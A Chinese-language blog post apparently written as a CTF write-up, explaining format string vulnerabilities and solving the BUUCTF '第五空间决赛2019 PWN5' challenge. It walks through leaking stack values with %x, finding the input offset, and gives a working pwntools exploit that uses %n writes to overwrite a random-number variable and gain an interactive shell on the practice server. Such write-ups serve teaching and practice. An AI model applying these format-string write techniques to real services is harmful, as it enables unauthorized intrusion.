一直想写一篇关于这个漏洞的博客,刚好借着今天刷到buu的【第五空间决赛2019】PWN5这道题来系统讲一下格式化字符串漏洞:
(这里这道题还是蛮简单的,主要是去理解这个漏洞的原理,关于该漏洞的难度稍大的题会零开博客讲解)
看一下几个经常用来测试格式化字符串的格式控制符
%d 用于读取10进制数值
%x 用于读取16进制数值
(这两个都可以起到泄露信息的作用)
%s 用于读取字符串值 即泄露任意地址信息
(%d,%x只能泄露原有栈的内容,结合%s就可以泄露任意地址的内容)
(%s不直接打印栈中内容,而是通过栈中指针寻址,再打印)
%n用于把前面已经打印的长度写入某个内存地址
(把栈的地址当作指针,向它指向的地址写)
PWN5
我们输入一个比较长的字符可以发现它的输出回显稍微有点问题,所以大致推断溢出出在输出函数上。
然后向下找程序就会发现在第21行出现了我们讲到的——格式化字符串漏洞
首先我们先输入AAAA %08x %08x %8x %08x %08x %08x %08x %08X %08X %08X,发现输出的是
也就是说我们输入的AAAA——十六进制是41414141出现在了栈的第十个位置上
程序逻辑就是只要我们输入的等于系统产生的随机数,查看随机数的参数在函数里的地址,发现是4个字节:
那么我们可以分别用%(10~13)$去定位到这4个地址在% $后面+n,来修改这这个地址里的内容,exp如下:
from pwn import*
r=remote('node3.buuoj.cn',25544)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'
r.sendline(payload)
# 0x10101010 4 * len(p32()) = 0x10
r.sendline(str(0x10101010))
r.interactive()